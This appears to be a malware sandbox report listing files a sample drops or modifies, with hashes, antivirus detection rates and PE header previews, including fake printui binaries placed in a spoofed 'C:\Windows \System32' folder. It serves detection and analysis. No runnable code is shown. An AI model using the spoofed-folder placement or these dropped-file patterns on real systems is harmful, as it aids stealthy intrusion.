Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_retp33wl.1eo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_usn2q0ff.dql.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vh3bwjft.hvp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w53bgx4j.v0n.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yqsgjtas.dq4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows \System32\printui.dll

Download File

Process:	C:\Windows\System32\usvcinsta64.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14269952
Entropy (8bit):	6.551762048575861
Encrypted:	false
SSDEEP:	393216:JPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRC86BxlXnwXAaGueVWDXSdEVB3:JITkg0
MD5:	295271806197F2118CA734B86680BA39
SHA1:	2341E7325B7902EB9C15C1FBE40643CBFDC6BC96
SHA-256:	FFC6260AAC0AF311CC122E214A8238ED14E297A6E706B97524CBE06A0C35CF20
SHA-512:	76EC6E92AD4118317D3FD75E6ABD22C2A2F516C83B05264EC43D0A0CE3397297F767563505169360CB9918748CC624FBB0DAC6D4EF24EA2143381410A3964567
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B...#.X.#.X.#.X...Y`#.X...Y.#.X...Y.#.X..Y.#.X..Y.#.X..Y.#.X...Y.#.X.#.XZ#.X...Y.#.X..vX.#.X...Y.#.XRich.#.X................PE..d......f.........." ...). ..........(}....................................................`..................................................k..<................,......................8...........................P...@............0..H............................text............ .................. ..`.rdata...F...0...H...$..............@..@.data....*...........l..............@....pdata...,..........................@..@.fptable............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Windows \System32\printui.exe

Download File

Process:	C:\Windows\System32\usvcinsta64.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	6.336447440888565
Encrypted:	false
SSDEEP:	768:a4uHmXrH60qKdC5vI1iQfCIWVM9G4qW4ne+S/ly+PKAoXRZX6fbX57UWkCRPPA7f:Uca1KAVIPd4n+lbeRZIbSQPPA7f
MD5:	2FC3530F3E05667F8240FC77F7486E7E
SHA1:	C52CC219886F29E5076CED98D6483E28FC5CC3E0
SHA-256:	AC75AF591C08442EA453EB92F6344E930585D912894E9323DB922BCD9EDF4CD1
SHA-512:	EF78DE6A114885B55806323F09D8BC24609966D29A31C2A5AE6AD93D1F0D584D29418BA76CA2F235ED30AD8AE2C91F552C15487C559E0411E978D397C82F7046
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.Inject5.8130.1270.16417.exe, Detection: malicious, Browse Filename: F.7z, Detection: malicious, Browse Filename: Ld0f3NDosJ.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y..........................................................................Rich....................PE..d...0.sA.........."............................@.............................@.......E....`.......... .......................................'.......P.......@...............0..$...P$..T............................ ..............(!...............................text............................... ..`.rdata....... ......................@..@.data...x....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..$....0......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\Z295699.dat

Download File

Process:	C:\Windows\System32\loaddll64.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	5.49561975655427
Encrypted:	false
SSDEEP:	768:Cn+Sx6ez4P51c7q8KLYLjl/2Z9yAQBBAcphRGfCVUOcg5Jra4Phw5IVlyQBHuqci:CEdP5S7q4jA2A4GfCVHJra4Phw5nQOe
MD5:	1BD714AE0193A1783AB635E350DC0A95
SHA1:	F874168222E83A2CFD40BE0A7D8D4F969AF68571
SHA-256:	F8740A78078AF2C3BCC1C725929490F003245D2EF71C669AC1F3E44DC168B546
SHA-512:	21D24B0D47BDF87764065D4CE8A2D2E7971681182496F297A38A7DAF74D7BE392C9A0EE4C7AEA4BD79486C3C46B71A4DA17C4FF0A6C456E666E0A03BC8AF0597
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+.c.x.c.x.c.x...x.c.x...y.c.x.1.x.c.x...y.c.x...y.c.x...y.c.x...y.c.x.c.x.c.x..y.c.x..y.c.x..mx.c.x..y.c.xRich.c.x................PE..d....U}e.........." ...%.l..........qx....................................................`..........................................E..L....F..x....p.......`..................,... ...................................@...............@........... ...H............text...Hi.......j.................. ..`.nep....@............n.............. ..`.rdata...............p..............@..@.data...p....P.......,..............@....pdata.......`......................@..@.rsrc........p.......0..............@..@.reloc..,............2..............@..B................................................................................................................................................................................................

C:\Windows\System32\Z369335.exe (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15187968
Entropy (8bit):	6.5560711404858925
Encrypted:	false
SSDEEP:	393216:mPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRC86BxlXnwXAaGueVWDXSdEVB3:mITkg0
MD5:	D3A3F2DB2AA3FD494F3E67601087AB23
SHA1:	4082E3B6E0DF9F40E635E1747BAE1BBAA4C724A6
SHA-256:	892D014309BF392B7D5B4837EC41BFE1C545713B026F8249104D9C45E738D7F4
SHA-512:	6802A76D01BA5A756C8B8F05B4EAF893768F8574F7A63509D21D8108EF5D93AD29447B839568306EECB3F294C5429E5B0B0BF772627F42BF578C6494DA3A438C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........l..?..?..?.,.>`..?.,.>..?.,.>..?.).>..?.).>..?.).>...?.,.>..?..?V..?.(.>..?.(z?..?.(.>..?Rich..?........PE..d.....f.........."....).............5.........@..........................................`.................................................d_..<................7......................8...............................@...............`............................text............................... ..`.rdata.............................@..@.data... /...p.......`..............@....pdata...7.......8...x..............@..@.fptable............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Windows\System32\Z422697.dat

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	5.49561975655427
Encrypted:	false
SSDEEP:	768:Cn+Sx6ez4P51c7q8KLYLjl/2Z9yAQBBAcphRGfCVUOcg5Jra4Phw5IVlyQBHuqci:CEdP5S7q4jA2A4GfCVHJra4Phw5nQOe
MD5:	1BD714AE0193A1783AB635E350DC0A95
SHA1:	F874168222E83A2CFD40BE0A7D8D4F969AF68571
SHA-256:	F8740A78078AF2C3BCC1C725929490F003245D2EF71C669AC1F3E44DC168B546
SHA-512:	21D24B0D47BDF87764065D4CE8A2D2E7971681182496F297A38A7DAF74D7BE392C9A0EE4C7AEA4BD79486C3C46B71A4DA17C4FF0A6C456E666E0A03BC8AF0597
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+.c.x.c.x.c.x...x.c.x...y.c.x.1.x.c.x...y.c.x...y.c.x...y.c.x...y.c.x.c.x.c.x..y.c.x..y.c.x..mx.c.x..y.c.xRich.c.x................PE..d....U}e.........." ...%.l..........qx....................................................`..........................................E..L....F..x....p.......`..................,... ...................................@...............@........... ...H............text...Hi.......j.................. ..`.nep....@............n.............. ..`.rdata...............p..............@..@.data...p....P.......,..............@....pdata.......`......................@..@.rsrc........p.......0..............@..@.reloc..,............2..............@..B................................................................................................................................................................................................

C:\Windows\System32\Z753638.exe (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15187968
Entropy (8bit):	6.5560711404858925
Encrypted:	false
SSDEEP:	393216:mPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRC86BxlXnwXAaGueVWDXSdEVB3:mITkg0
MD5:	D3A3F2DB2AA3FD494F3E67601087AB23
SHA1:	4082E3B6E0DF9F40E635E1747BAE1BBAA4C724A6
SHA-256:	892D014309BF392B7D5B4837EC41BFE1C545713B026F8249104D9C45E738D7F4
SHA-512:	6802A76D01BA5A756C8B8F05B4EAF893768F8574F7A63509D21D8108EF5D93AD29447B839568306EECB3F294C5429E5B0B0BF772627F42BF578C6494DA3A438C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........l..?..?..?.,.>`..?.,.>..?.,.>..?.).>..?.).>..?.).>...?.,.>..?..?V..?.(.>..?.(z?..?.(.>..?Rich..?........PE..d.....f.........."....).............5.........@..........................................`.................................................d_..<................7......................8...............................@...............`............................text............................... ..`.rdata.............................@..@.data... /...p.......`..............@....pdata...7.......8...x..............@..@.fptable............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1064
Entropy (8bit):	5.348913383944632
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNCsXE4Npv:MxHKQwYHKGSI6oPtHTHhAHKKkhHNpv
MD5:	11EA654395AC832ED91AC51D45E77997
SHA1:	EC26C370B8D39E264A8F77569265364ACACE5E1B
SHA-256:	26109D481A664F2190C203F346D7C91502F2EBB9141E517EC4F9ACFF8E1D3D35
SHA-512:	38B458EAD2BF54DDA044F01DE904A2AE00DD981428E441E8BEE303011F69C53A4B11B24C32057D261E5C68E1B40ECF031B4F37ABEF408C250BA3CDED3C826126
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Managemen

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	3008
Entropy (8bit):	5.480304710748381
Encrypted:	false
SSDEEP:	48:vAzsSU4y4RQmFoUeCamfg9qr9t5/78NfRrq4GxJZKaVEouYAgwd64rHLjtv8:vAzlHyIFKL2I9qrh7KfR6J5Eo9Adrx8
MD5:	6B9D2E9C63DFE54531173B4C2D3BBCE2
SHA1:	AAB88F391678075FB7F33A96438D7AD45F1AA314
SHA-256:	186D1F6773759665D80FB7182266E94CA0352ED05BD5B7D238EA81CB64B39526
SHA-512:	2FD24D115A1377DCCEB0C698AAA5C1E399098B6E0947F485A6EB9E5C6961C3FDD6021BE58A52F41633D2173A779B2CB9FEDA2A25D8936356C9DC7998081F07AE
Malicious:	false
Preview:	@...e................................................@..........H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\System32\console_zero.exe

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	482304
Entropy (8bit):	6.58224130387702
Encrypted:	false
SSDEEP:	6144:mxlVzCCSF+jHHLSUTdtuvchEGaADXkTE6Gph0lhSMXlBXBWn5m7kvoLRwptVY:pCSyrTNhZRDOE/ph0lhSMXli5mGvtY
MD5:	9ADA16F61EC30D869A312B834C98EB51
SHA1:	97E22D011B4A89806CBD6AE48AA7C9F516EDD4E3
SHA-256:	020420F20EE32BDA982599939E5D4BCFFCABD57E22A911F5EEEABF29E4DEDE7A
SHA-512:	A1EC20242044709F62931B80FE177605FA9CC786899BEEB1386C2B799B2DB4479E7DF6FACA6437333D4E56CF93432CD9B4D28D663750C6922A0DEBFE38CA9817
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........D..D..D..4H.....4H..V..4H..B..TM..N..TM..U..TM......L..F..4H..A..D......L..F...LP.E...L..E..RichD..........................PE..d...F..f.........."....)............p".........@..........................................`.....................................................P............P...7......................8..............................@...............p............................text.............................. ..`.rdata...8.......:..................@..@.data....0..........................@....pdata...7...P...8..................@..@.fptable.............L..............@....rsrc................N..............@..@.reloc...............P..............@..B........................................................................................................................................................................................

C:\Windows\System32\libcrypto-3-x64.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4684800
Entropy (8bit):	6.761708409908653
Encrypted:	false
SSDEEP:	98304:E1+WtBcda7nzo7Vd8qQQPQ1CPwDvt3uFGCC:gXtBcda7nzo7Vd8qQQY1CPwDvt3uFGCC
MD5:	158F0E7C4529E3867E07545C6D1174A9
SHA1:	9FF0CCCB271F0215AD24427B7254832549565154
SHA-256:	DCC1FA1A341597DDB1476E3B5B3952456F07870A26FC30B0C6E6312764BAA1FC
SHA-512:	51E79D8D0AB183046F87AA659973B45147BB1E1AE8883F688C615CCB18BF9FCCB8779DD872B01748BACD56E141BC096C2BB4CCF32EBD7A49ADC76363355E40FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............vI..vI..vI..I..vI;DwH..vI;DsH..vI;DrH..vI;DuH..vI..wI.vI..wH..vI..vI..vI.GrHl.vI.GvH..vI.G.I..vI.GtH..vIRich..vI........PE..d...d.Lf.........." ...'..4..........4.......................................G...........`...........................................A. ... @D.@....0G.......D.LH...........@G.L.....?.T.............................?.@.............4..............................text...8.4.......4................. ..`.rdata.......4.......4.............@..@.data....t...`D..J...JD.............@....pdata..LH....D..J....D.............@..@.rsrc........0G.......F.............@..@.reloc..L....@G.......F.............@..B................................................................................................................................................................................................................................................

C:\Windows\System32\libcurl.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	561152
Entropy (8bit):	6.383490918799092
Encrypted:	false
SSDEEP:	12288:0u3rEnX6Gtd3+XZRnRNvNu86p07GZiDnwXA3qGueVW08G:d7EnX/L3+p7NvNu8OqnwXA3qGueVWG
MD5:	93F8F5133ED40262B9FD437915718B82
SHA1:	A18E34F2E1ECADA88249D5B6A87F137A2A1E5041
SHA-256:	78993F8E7AC2D139A8B7198F229D8EF1BA2000D7EB1B07FB7AA4FCCCF7786151
SHA-512:	E1F15B6CEE766D02823938B38BB580C7EFF94E0F4CD907AC4676A65BBC4A9632B5DB0CA54D7B8E6E14042510720E063C00C538DEA3DCBD56C94C65EEADCFCB26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1i[.u.5Pu.5Pu.5P\|p.Pg.5P..4Qw.5P...P}.5P..6Qq.5P..1Q}.5P..0Qx.5Pe.4Qw.5Pu.4P..5P>p4Q~.5Pe.1Q..5Pe.5Qt.5Pe..Pt.5Pu..Pt.5Pe.7Qt.5PRichu.5P........PE..d....,Of.........." ...(.Z...<.......]....................................................`.........................................@.......H...T............`..(S..............X.......T..............................@............p...............................text...8X.......Z.................. ..`.rdata......p.......^..............@..@.data...(0... ...(..................@....pdata..(S...`...T...*..............@..@.rsrc................~..............@..@.reloc..X...........................@..B................................................................................................................................................................................................................................

C:\Windows\System32\libiconv-2.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1851113
Entropy (8bit):	6.295735352298234
Encrypted:	false
SSDEEP:	24576:SAlxpPnBAUZLY9OVbbTiZGavkg3NyeuQ6l9fH+f2ykqZrkgecviRd7mQFz:DPnBAUZLY9OEZGaXBuQQ9e2YYUQFz
MD5:	158BC77453D382CF6679CE35DF740CC5
SHA1:	9A3C123CE4B6F6592ED50D6614387D059BFB842F
SHA-256:	CF131738F4B5FE3F42E9108E24595FC3E6573347D78E4E69EC42106C1EEBE42C
SHA-512:	6EB1455537CB4E62E9432032372FAE9CE824A48346E00BAF38EF2F840E0ED3F55ACAEE2656DA656DB00AE0BDEF808F8DA291DD10D7453815152EDA0CCFC73147
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...8.Jd....q.....& ..."............P..........f............................................. .................................................D....@..........d............P..................................(.......................p............................text..............................`.P`.data...............................@.P..rdata..............................@.`@.pdata..d...........................@.0@.xdata..............................@.0@.bss..................................`..edata..............................@.0@.idata..D...........................@.0..CRT....X.... ......................@.@..tls.........0......................@.@..rsrc........@......................@.0..reloc.......P......................@.0B/4...... ....`......................@..B/19.....m....p... ..................@..B/31......2.......4..................@..B/45.....

C:\Windows\System32\libintl-9.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	475769
Entropy (8bit):	5.442192544327632
Encrypted:	false
SSDEEP:	12288:YoSRYqB/kDraXbQTNRC6RsclS8DzT6Bam:+YY/kDraLQTNRCPWDzT6Bam
MD5:	E79E7C9D547DDBEE5C8C1796BD092326
SHA1:	8E50B296F4630F6173FC77D07EEA36433E62178A
SHA-256:	1125AC8DC0C4F5C3ED4712E0D8AD29474099FCB55BB0E563A352CE9D03EF1D78
SHA-512:	DBA65731B7ADA0AC90B4122C7B633CD8D9A54B92B2241170C6F09828554A0BC1B0F3EDF6289B6141D3441AB11AF90D6F8210A73F01964276D050E57FB94248E2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......[.H........& .....D....................(h....................................0......... ......................................................@..8....................P..p........................... 0..(....................................................text...8C.......D..................`.P`.data........`.......J..............@.`..rdata..0M...p...N...L..............@.`@.pdata..............................@.0@.xdata..d...........................@.0@.bss....P.............................`..edata..............................@.0@.idata..............................@.0..CRT....X.... ......................@.@..tls....h....0......................@.`..rsrc...8....@......................@.0..reloc..p....P......................@.0B/4...........`......................@.PB/19..........p......................@..B/31.....1:.......<..................@..B/45.....

C:\Windows\System32\libpq.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	327168
Entropy (8bit):	6.055910692008984
Encrypted:	false
SSDEEP:	6144:veJ/i9L1mle2NwGTQ46ZEEKN4zP2/SHzI4l/4OMx7apSPIYuh0L/iXmJ:gmV2NwQQ3G4zP22rOIy
MD5:	EF060E5C414B7BE5875437FF2FB8EC54
SHA1:	6DCF04DFF9B25BE556EC97660F95ACF708C0C870
SHA-256:	E6ACED8D30471F35B37ABBF172CE357B6A8F18AF5FEB342B6CFFC01D3378F2B4
SHA-512:	67BFF321BA901A0B0DC0F6C4A723D7DF35418F593E16E6193673CCE5190D76355409F676C1EA5D0CB46493F5735209089A3A52D3D716EB8187BF6E846792E2E8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........t3R..`R..`R..`[..`D..`To.aP..`To.`T..`To.a_..`To.aZ..`To.aV..`...a^..`n..aU..`R..`K..`=o.ag..`=o.aS..`=o.`S..`R.`S..`=o.aS..`RichR..`........................PE..d.....:f.........." ...&.l...........e.......................................@............`...@...................................................... ..........,"...........0.......k..T...........................pj..@...............p............................text...xj.......l.................. ..`.rdata..vT.......V...p..............@..@.data...............................@....pdata..,".......$..................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................

C:\Windows\System32\libssl-3-x64.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	818176
Entropy (8bit):	6.269258421632734
Encrypted:	false
SSDEEP:	12288:NGbc08emtUas2F158w1T4qLgl85MNRlqnZ5ydEVB3i:NGoL9W0lJ5cR9dEVB3
MD5:	69D0FEE0CC47C3B255C317F08CE8D274
SHA1:	782BC8F64B47A9DCEDC95895154DCA60346F5DD7
SHA-256:	BA979C2DBFB35D205D9D28D97D177F33D501D954C7187330F6893BB7D0858713
SHA-512:	4955252C7220810ED2EACA002E57D25FBC17862F4878983C4351C917CF7873EB84AE00E5651583004F15A08789BE64BDB34FF20CB0E172C9C1376706DEB4AA1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5...q..q..q..x.'.c...O..s...O..\|...O..y...O..u..:...u...L..r..q..*...L......L..p...LK.p...L..p..Richq..................PE..d...d.Lf.........." ...'..................................................................`..........................................0...K...{..................Hr..............\.......T...............................@............................................text...X........................... ..`.rdata..L...........................@..@.data...8=.......8..................@....pdata..Hr.......t..................@..@.rsrc................`..............@..@.reloc..\............d..............@..B........................................................................................................................................................................................................................................

C:\Windows\System32\libwinpthread-1.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	5.840253326728635
Encrypted:	false
SSDEEP:	768:fE20UsQSmxsJ/jPxsiFFnoCImovqcyz88rtYNChvThLaim3Yu/g/D8:cis0sP5FBQ7vU9BYshtaim3Yuo78
MD5:	9DC829C2C8962347BC9ADF891C51AC05
SHA1:	BF9251A7165BB2981E613AC5D9051F19EDB68463
SHA-256:	FFE2D56375BB4E8BDEE9037DF6BEFC5016DDD8871D0D85027314DD5792F8FDC9
SHA-512:	FD7E6F50A21CB59075DFA08C5E6275FD20723B01A23C3E24FB369F2D95A379B5AC6AE9F509AA42861D9C5114BE47CCE9FF886F0A03758BFDC3A2A9C4D75FAB56
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
